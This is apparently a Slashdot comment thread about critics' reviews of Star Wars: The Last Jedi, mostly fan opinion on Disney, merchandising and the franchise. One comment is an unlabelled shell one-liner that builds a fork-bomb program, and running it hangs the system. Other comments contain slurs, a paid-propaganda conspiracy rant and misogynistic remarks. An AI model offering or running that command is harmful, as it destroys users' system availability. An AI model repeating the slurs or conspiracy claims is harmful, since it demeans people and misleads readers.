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Star Wars: The Last Jedi Has Critics In Raptures (bbc.com)
gollum123 shares a report from BBC: "Rousing." "Thrilling." "Addictively bold." Just a few of the superlatives the critics are using to describe the latest film in the Star Wars saga. The Last Jedi, writes the Telegraph, is "enormous fun" and "will leave fans beaming with surprise." The Guardian calls it "an explosive sugar rush of spectacle" possessing "a tidal wave of energy and emotion." Variety, though, swims against the tide, describing it as "the longest and least essential chapter in the series." Rian Johnson's film, says Peter Debruge, is "ultimately a disappointment" that "gives in to the same winking self-parody that is poisoning other franchises of late." Writing in The Verge, Tasha Robinson tends to agree: "Audiences will likely come away from The Last Jedi with a lot of complaints and questions." Driver's Kylo Ren is singled out for praise by USA Today, who describe the character as "blockbuster cinema's most magnetic and unpredictable antagonist since Heath Ledger's Dark Knight Joker." Have you seen Star Wars: The Last Jedi? If so, how do you think it stacks up against the others in the saga?
To think the Emperor/ Ultimate Dark Lord would be brought down by his ForceBook posts. Certainly bold, certainly an unexpected twist.
The reviews I saw from good critics say it is perfectly okay, but not particularly good.
So, this "story" just references the positive one and blurbs them?
This is just more garbage from Disney designed to sell franchise crap.
I get the distinct feeling they're not actually making these movies for the sake of making movies anymore. It's entirely and utterly driven by profit, and very little else. You can tell the original Star Wars movies were made by a bunch of people who had no idea what they were doing, but it worked out for them in the end. SW8 feels like a movie that was designed by a committee and approved by Disney to have the maximum impact on merchandising sales and franchise licensing after the fact. It's basically just a gigantic commercial for their beloved IP.
The first one, (A New Hope) was enjoyable enough at the time, klunky dialogue and all. But the efforts to turn it into a "franchise" have resulted in a series of mostly mediocre follow-ons, and the constant retconning has just been ridiculous. Like other mediocre franchises like "Highlander", or "Iron Man", Star Wars might be more fondly remembered had it been a one-off, like "The Matrix".
Like The Force Awakens this film will open to rave reviews but most people will have forgotten the plot even before they leave the cinema.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
No.
I quite enjoyed watching the movie, but left with a feeling that I had to see it at least another three times to fully comprehend it. It has some interesting plot twists and some iconic scenes. It answers some questions, while are left unanswered. At least the movie is good, because it does not have one main character and that we see the struggles of several characters and going through some development to add to the story. It also leads to some dramatic choices being made. In a sense this may make the movie look quite chaotic, but in a sense it might be most emotional dramatic movie of all the movies that have been made so far. Maybe even the most convincing if you give it time to sink in.
Jesus, do we really have to have this conversation here, where cynicism reigns? Where the default tone is "I'm so much cooler and more intelligent than everyone else"? Where most of the comments are going to be by people who haven't seen it (but they don't need to, because they're so much more intelligent and already can judge based on their massive predictive brain)? Cultural debate is not a ./ strong point.
For my part, I loved it. I might even say it's the best Star Wars film... though that might come down a bit on rewatching... It's funny, serious, genuinely moving when it needs to be, and says very much different things than the other films have. After the feature-length trailer that was The Force Awakens (which I still liked, but was a bit frustrating), we're going new places now.
Spoiler : if you were alive when Star Wars hit the theaters in the late 70s then this film is not for you.
Time moves on for everyone, let the youngster enjoy their new drug. As for the all the old guys out there play with star wars lego. It's a more rewarding experience.
Movie reviews were embargoed until the last moment, which is usually a bad sign of this being actually bad. Movie studios always put review embargoes up when they push bad movies. As for the non-spoiler reviews linked in the summary, if you read these enough, you'll understand that these are almost never accurate. Some suspiciously read like a damn ad.
I was recently wondering what kept people going to these shitty sequels upon sequels upon sequels and it just hit me.
It was always a factor, especially in high school, but social media magnified it greatly for everyone: no one wants to be left out.
So is sunk cost fallacy.
You don't want all that movie watching so far to be for nothing, now do ya?
Mit der Dummheit kämpfen Götter selbst vergebens
the tenuous respect for extended universe fiction has been thrown aside because they are catering to the lowest common denominator
There are gems in the Star Wars EU. Fantastic lore, interesting characters, exciting stories. There's also a huge mess of internally-inconsistent trash that isn't worth anyone's time. I was disappointed that Disney elected to de-canonize the EU, but I understand why they did it. There's no way they could have continued to grow the universe without running into contradictions at every turn.
There's a reason that Marvel and DC have so many re-boots and alternate timelines. It's fun to put the same heroes in new positions, tweak their characterizations, etc, in a way you can't do if the universe is set in stone. I wouldn't be too upset to see Star Wars go down the path of multiple canon universes.
As if it weren't bad enough already, the 3D printing file hosting sites and internet forums are going to be inundated with all the new junk that shows up in this movie. I guess I'll be updating my RES keyword blocks...
Stop picking on Disney. They're just trying to produce highly profitable movies to please their shareholders. Just say the movie is great and shut up.
This is just more garbage from Disney designed to sell franchise crap.
Star Wars was about selling "franchise crap" from day one. I'm old enough to have seen the first Star Wars movies in a theater in 1977. Star Wars was all about moving merchandise right out of the gate. Star Wars action figures and toys were HUGE when I was younger. Disney is just better at it than Lucasfilm was on its own. Anyone who thought Disney wasn't in this to make a buck is delusional. You just hope that the stories are entertaining along the way as well.
I get the distinct feeling they're not actually making these movies for the sake of making movies anymore. It's entirely and utterly driven by profit, and very little else.
It's adorable that you ever thought that the movie industry wasn't all about making money. Yes sometimes some good art got made along the way. But the movie industry has been ruthlessly profit driven as long as there has been a movie industry. There is a reason hollywood accounting is a thing.
SW8 feels like a movie that was designed by a committee and approved by Disney to have the maximum impact on merchandising sales and franchise licensing after the fact. It's basically just a gigantic commercial for their beloved IP.
Are you familiar with any Disney products? That has been their MO since Snow White was released back in 1937. This should not be astonishing to you.
And remember that SW1-3 (the prequels) were clearly NOT designed by committee and the shitty results prove it. The only reason the original trilogy was good was because there were smart people who could limit the amount of damage George Lucas could do to the material.
They were basically prehistoric carnivorous turkeys.
So what critics are saying by finding themselves in raptures means that the movie is an ass-eating turkey.
Mit der Dummheit kämpfen Götter selbst vergebens
The Force Awakens was a good formulaic Star Wars movie, but it was a mixture of the first movies with a lot of feminist fan service in the form of Mary Sue--I mean Rey. The crew behind Rogue One was making a lot of SJW noise on social media, including calling the Empire a white supremacist regime (FFS, how can you be so lacking in imagination and still hold a creative writing job?!!!)
SJWs tend to flock together to talk up stuff like this if they like it and think it serves their purposes. So my guess is that the truth is closer to the Variety review than the others. It will be a potentially awesome Star Wars movie almost ruined by Current Year, American politics and angst imposed on a setting where they make absolutely no sense.
I've read some regional reviews (in portuguese) from outlets I take in high consideration, and also read the reviews from the usual suspects. The later are indeed of consensual aclaim, but the former are very critical, yet they come from artistic movie critics and avoid commercial titles.
Haven't seen the movie, and being a moderate fan of the saga, I can't say much, yet it seems to be expected from reviews of Star Wars (usually very biased from fandom) that titles such as Rogue One and The Force Awakens to be taken with a grain of salt. Rogue One comes to mind as an overhyped title from the saga that I couldn't really emphasize with most critic opinion - it did felt gritty in contrast to the main series, but everything else was simply exaggerated, such as performances (which I thought were mediocre with a few exceptions), the non-whitewash issue being brought up as an artistic added value (as if it shouldn't be standard...), and the plot feeling very convoluted while critics said it enlarged the larger storyline - it simply did not, all it does is end as a starting base for The Last Hope and reuse exactly 2 characters that I noted (Vader, because Vader and the deceased virtual captain pof the Death Star).
It seems obvious that this movie is being overhyped, and I am considering not paying the extra buck for seeing it in Imax just because of that.
IIT: Geek Hipsters.
"Oh, I only liked Star Wars before it was cool."
"Oh, it went to hell with Disney, it became all commercialized!"
Yeah, that was Star Wars alright, a niche thing only nerds liked that was never commercialized.
The reviewers I trust say The Last Jedi was awesome. And BTW, I saw TFA, and I know it's become cool to rag on it, but I loved it. The complaints are stupid - it harked back to Star Wars (so called Episode 4) you say? Dude, have you watched ANY OTHER F---ING SW MOVIES IN THE OT? They ALL do that.
It was fun! It had great characters! Having a former storm trooper be the audience surrogate was a massive improvement on the camp robot AS of the original.
And the reviewers say this is better? It probably is. They say it's the best Star Wars movie since ESB, and you know, I'm inclined to believe they may well be right, because SW in the hands of someone who loves the franchise should lead to great things.
So I'm pumped. As someone who loved Star Wars in 1978 when I went to see it at the cinema with my dad. When it was already cool, because it was from the beginning. When it was already commercialized, because the toys were already in stores in the UK when the film finally made it to our shores.
You are not alone. This is not normal. None of this is normal.
Let me give it a shot: Force Awakens was pretty bad
I thought Force Awakens was a decent enough film and quite a nostalgic one. The problem with it was that I had already seen that film way back in 1977. It was in far too many ways nearly a shot for shot remake of A New Hope and not even subtly so. I have no complaints about the film production quality. Not brilliant but fine as a popcorn film like all Star Wars movies. (except Empire which might actually be brilliant) It was far better than any of the prequels though that is the very definition of damning with faint praise.
Rogue One was really good
I liked Rogue One overall except for the uncanny valley problems. I was acutely aware for the CGI remakes of familiar characters and unfortunately while they were good they weren't good enough.
Have not seen it, a number of friends have. Mostly a tale of people running around the galaxy and trying to destroy each other while talking about cosmic fates.
The Wikipedia article is an accurate summary: https://en.wikipedia.org/wiki/...
Good if you have always wanted to see massed AT-ATs locked in combat. Bad if you enjoyed the original movies and are expecting something of that quality.
I'll wait for it to come on HBO.
No wonder critics are raving since any hint of disapproval would be met with a twitter witch-hunt for misogyny, racism, anti-semitism and whatever other epithets studios use to dismiss criticism.
Several of my friends have seen the movie.
The youngest of them - in his 20s - thought the story was lame and was put off by the "galactic scheming." He felt like the movie was really stretching to find motivations for the actions of the characters. Kylo Ren is the one he complained about the most, he said nothing he did made sense.
The oldest of them - in his 40s - enjoyed the new ships, redesign of older ones, and overall special effects. He said the depictions of space battles were well done, but the camera moved a little too fast for his taste. He didn't have much to say about the plot, other than to recount some of the facts that happened.
Not having seen the film, I can't comment on why there may be a different appeal for different generations. The thing that bothers me about the movie is the distribution deal Disney worked out with theaters. To show the film, they had to agree to keep it on screens for at least 4 weeks.
I remember going to see The Force Awakens on a Friday night a few weeks after it was released. The theater was empty. An usher walked through the theater a couple times just to make sure we were being behaved. That memory stands out more than the film.
I don't know about you, but watching a movie in an empty theater feels creepy.
Meh, I'd rather see a continuation of the existing universe than more reboots and rehashes of the same material. And let's face it: The Force Awakens was rather similar to A New Hope in so many ways as to almost be a reboot. I understand why Disney elected to de-canonize, but I don't understand why they elected to do it the way they did.
On the other hand, Rogue One was a promising start of an alternate approach: stand alone "background" stories set in the same universe, but only passingly involving the main characters or storyline. This gives writers a lot more room to play with the material, while having enough overlap to interest fans and make it a true 'Star Wars story', without having to upset the existing universe too much.
If construction was anything like programming, an incorrectly fitted lock would bring down the entire building...
I'm all for quality movie reviews, but this shit is getting out of control anymore. Everyone is trying to beat everyone else to the punch on the hyped thing in the last 5 minutes in entertainment to put out some shock-talk binary movie commentary: absolutely mind-blowing or a turd dunk in the toilet. That's all part in due to social media head hunting where they will get torn apart for their review, but this is the real problem: There's ZERO quality reviewers, at all. I sincerely miss the days of Siskel and Ebert, at least I somewhat take stock in that. Those guys, much like anyone else, had their favorite genre, but for the sake of movies, reputation and quality input on a film, they were fucking professionals at it. Kind of why I bypass Rotten Tomatoes anymore for any of this, as well.
Any more, I think someone is trying to win the social-media-look-at-me Pulitzer prize for best catchy 160-character comment who's never probably watched a lick of any Star Wars movies and it's nauseating. Saying something like "Worst movie and disappointment in 10 years" isn't telling me how it stacks up to the last Star Wars in the overall timeline and storyboard of things? Be objective instead of posing super negative or overly surprised for the sake of some cheap fan fare.
Astute. Or in the critics' case, what else could they believe and still have jobs and families that are still alive?
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Considering the utter embarrassment that the last one was I highly doubt these "critics" can tell the difference between a movie and a steaming pile of shite.
Considering how praised the last one was by audiences, maybe these critics are just pandering to what qualifies as movie goers these days... Then again, though I suspect this movie to suck, but am tempted to watch it anyway, because there aren't really all that many options that are any better.
I thought Return of the Jedi was worthy as well, it has everything a good SW story needs... could have done without the damn Ewoks though.
RotJ could have been great but they made a left turn at cute and missed the mark. Some parts of the movie were excellent and it's still pretty watchable 30 years later. RotJ is a good example of what happens when a producer gets too excited about merchandising without considering the impact on the story and the health of the franchise. R2D2 is cute and fun but an implausible army of ewoks beating (supposedly) elite imperial troops is just clueless pursuit of short term money.
The thing that bothers me about the movie is the distribution deal Disney worked out with theaters. To show the film, they had to agree to keep it on screens for at least 4 weeks.
I remember going to see The Force Awakens on a Friday night a few weeks after it was released. The theater was empty...That memory stands out more than the film.
I don't know about you, but watching a movie in an empty theater feels creepy.
FWIW, I prefer watching movies in an empty theater. The more people in the theater the more likely there will be rude/annoying people around and it only takes one or two of those to ruin the experience for a lot of other viewers.
That said I don't agree or understand why Disney is forcing the 4 week minimum on theaters either. Most people aren't going to see any movie twice just because it's still in the theater, clearly, since you remember seeing The Force Awakens in an empty theater. That policy really hurts small town theaters, many of which are not showing the movie for that reason, so that can't help Disney's sales. Disney also risks cannibalising viewers from other movies in their empire (animated Disney movies, Marvel, etc.). I feel like whatever incremental sales bump they get by forcing that 4 week minimum would be off-set by those factors... but what do I know... I'm sure Disney ran all their profit maximising algorithms to support the policy...
Since we're veering off-topic anyway.... If Disney/Hollywood want to make more money in the theaters, what they should really do is throw out Hollywood's antiquated flat ticket price structure and allow prices to fluctuate up and down with real market demands (e.g. opening week vs later, action vs drama movies, more or less popular franchises or actors/actresses, discount/rewards programs, etc.).
What? The third Alien movie is by far the best.
You're entitled to your opinion but I doubt many will agree with it. Rotten Tomatoes scores in order were 97%, 98% and 46%. While Rotten Tomatoes has its problems it's a pretty good gauge of public opinion about a movie like this one. Alien 3 was not a particularly good movie in my opinion and it seems the majority share that opinion.
You can't tell someone a twist without it being a spoiler, now I know there's a twist!
Boycotting them isn't hate. It's voting with your money and telling them you don't approve of what they are doing/have done.
And since corps only understand one thing: money, it's the most effective way to tell them what you think of their actions.
So rise up, all ye lost ones, as one, we'll claw the clouds.
Maybe he not only doesn't read the summary or article, but now not even the comments. He didn't reply to a comment.
wait...is she hot? because if female has prominent role in movie, I want her to be hot.
...are a question of "when", not "if". Or even "why".
They already penis-shaped anyway.
Mit der Dummheit kämpfen Götter selbst vergebens
So people are commenting on a movie they haven't seen it yet.
I think it's in the tone of The Empire Strikes Back. It's an emotional ride! and the producers didn't touch their heart to tell a story, and if you follow the archs of the SW stories, you know what will happen in the second movie of this trilogy.
Blake's 7, a motley crew of renegades and smugglers trying to escape an evil totalitarian empire in a salvaged spaceship. The Liberator
Star Wars, a motley crew of renegades and smugglers trying to escape the evil empire in a stolen spaceship Millennium Falcon
Profit and personal income are different.
Not really. You don't have any concept of sustainable personal income unless a profit is being made somewhere. A personal income is merely another form of profit.
People often dislike profit, but are completely fine with personal income.
Such people are experiencing cognitive dissonance.
It amazes me that this even needs to be stated. It's accepted cannon in the film industry that Star Wars (with a boost from E.T. the Extra-Terrestrial) changed the financing landscape in Hollywood for all time.
The entire commentary track of Scorsese's After Hours is pretty much devoted to how he was forced to make this oddball film on the cheap, or quit making films altogether. None of his larger proposals had viable merchandise. Scorsese's Taxi Driver came out just a year before Star Wars and didn't move a lot of disaffected perpetrator Yellow Cab action figures (not for all of its eternal social relevance).
Pleasing a critical audience is a hard way to make a living. What you're after is sustained consumption, without taking any large risks exploring new territory.
It's a bird ... it's a plane ... it's DOPAMINE!
* A-list adoration (e.g. Silence of the Lambs)
* merchandise / (mostly) ghastly sequel movie loop
* shippers
* man-panties escape fantasy (Marvel universe)
* actual panties release fantasy
Shipping Tropes
Film is an odd genre, because a film works so hard to introduce new and unusual characters, convince the audience to identify with those characters, bang a few pots, then resolve. The formula doesn't really leave time for Friends to explore the entire viable space of choose(6,3)-1 Audience Reaction love triangles (three men in one triangle would be considered unmanly, even today).
Way down the list of viable audience attractors are the motivated cineastes with a chiselled six-pack risk appetite (such a person surely knows that an action sequel predominantly pumping a giant bust line on the promotional poster would require two thumbs up from God himself to even begin to consider; plus we've all seen Phantom and Crystal Skull and Hobbit to reinforce that breast size is but an early, shallow layer in the fully cynical deep-discretion network).
Personally I never attend a movie with supernatural themes without reading the spoilers first, because if you're not extra careful, halfway through the movie you find yourself gagging on Uri Geller's contorted cock (the one thing he could actually bend like Beckham as a younger man).
See? That just took a hard turn to a bad image, because you didn't check the spoilers first.
Was that an odd-numbered one?
Confucius say, "Find worm in apple - bad. Find half a worm - worse."
Are you two years old?
They don't write about it based on their personal experience and their assessment of its artistic value.
They write what they are paid to write. It's all propaganda. Reviews are propaganda about propaganda.
They promote this movie because the people who pay them are invested in the movie and are using it disperse politically motivated ideas.
Your kind of people always attribute incongruencies to the incompetence of others because of your inferiority complex. Instead of analyzing the situation you take the easy way out and just say "well they're just more stupid than I am!" because it gives you an excuse to stop questioning the world and it serves your delusional ego.
In reality people are just paid to act that way. In reality your entire model of the world is completely wrong and you're too much of a coward to tear down the model and stare reality in the face.
This movie exists to propagate marxist ideas to assist in the digestion of this society by the plutocratic monster that bought it.
Wake up, retard!
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Look on the bright side. After missing it for three movies we'll finally get the 20th Century Fox fanfare back at the start of the film where it belongs.
"Nine times out of ten, starting a fire is not the best way to solve the problem." - my wife
Who the hell is Kyle Katarn? No, seriously, I know who he is. Though I did like the SW video games, I’m not into that ‘expanded universe’ crap and I don’t consider those games part of the canon. The SW movie series needs to be (somewhat) consistent, the ‘SW story’ movies tie into that, and that’s it. Let the games stand on their own.
If construction was anything like programming, an incorrectly fitted lock would bring down the entire building...
Alright, BIG-ASS SPOILER ALERT. Don't read if you don't want too much information:
Or maybe a few things I need to enjoy the film, as my enjoyment was quite a bit diminished from what I was expecting.
First, where are the men in this movie. We have Leia as the commanding general in this fight. A woman as a combat commander is HIGHLY unusual, but then when she is incapacitated, the 2nd banana is also a woman? Can we have some semblance of reality? And as a man, I feel discriminated against by this and the other things, including:
The person that Finn ends up going on the expedition with to retrieve the galaxy-class codebreaker is... another woman.
Then there's the problem that it seems the men are only allowed to have less-than-admirable roles. Finn is a lying coward that is always looking to desert whatever outfit he is a part of - I'm ok with deserting the stormtroopers since that is mostly an escape from slavery, but ever since, you can't believe a word he says and he's again mostly looking for a way out.
Poe is at least a competent pilot, but not necessarily the hero. Disobeying orders works sometimes when it's absolutely clear that its the right thing to do, but that's not the case here, as the Resistence lost 100% of their bomber fleet to destroy just 1 enemy ship. Leadership was right, Poe was wrong in pursuing this attack. Then he stages a mutiny - OK, the 2nd banana woman was probably a traitorous coward, but still, how do we feel good about this? What is such an incompetent doing in the chain of command at this point, at such a high rank? Just not feelin' it, y'know.
So, where are the actual male heroes? Still looking.
Then there's the stuff that just doesn't work. Rey is this master light-saber swordswoman? I'm already turned off by the 1st 2 episodes of Star Trek: Discovery which has women going hand-to-hand with Klingons, which even Kirk was barely able to do, and winning which is total fantasy. Haven't bothered to watch the 3rd episode, maybe will, maybe won't, but this "equality" nonsense in combat is not believable. There are no female Arnold Swarzeneggers / Rambos and that's what it would take to go up against Klingons. Likewise, that's what it would take for Rey to accomplish what she did in a lot of the fight sequences and survive. I'll take Wonder Woman as pure fantasy, but this is quasi-sci-fi fantasy and I don't like the discrimination against males being exhibited in these latest Hollywood products, and at some point I'm going to stop contributing my $$$ if they keep it up. Discrimination is wrong, period, no matter who it's against.
And, another thing - the introduction of the ability to project onesself in a holographic-like presence, apparently as a function of the force, is brand new, never seen before, extremely useful, and... we're only learning of it in episode 8? I can't recall ever seeing it before. Storytellers I think are not sticking to the parameters of their fantasy world and going too far in "making shit up" and it just doesn't make for a good story when you break your own rules.
Anyway, I got up after watching it with a noticeable lack of the "Wow" I usually get from watching a new Star Wars movie. I got a "Wow" from the Rogue One last year, but not this time.
I just hope the script has less Mary Sue fan fiction vibe than the last disappointing attempt at telling a Star Wars story.
NRRPT/RCT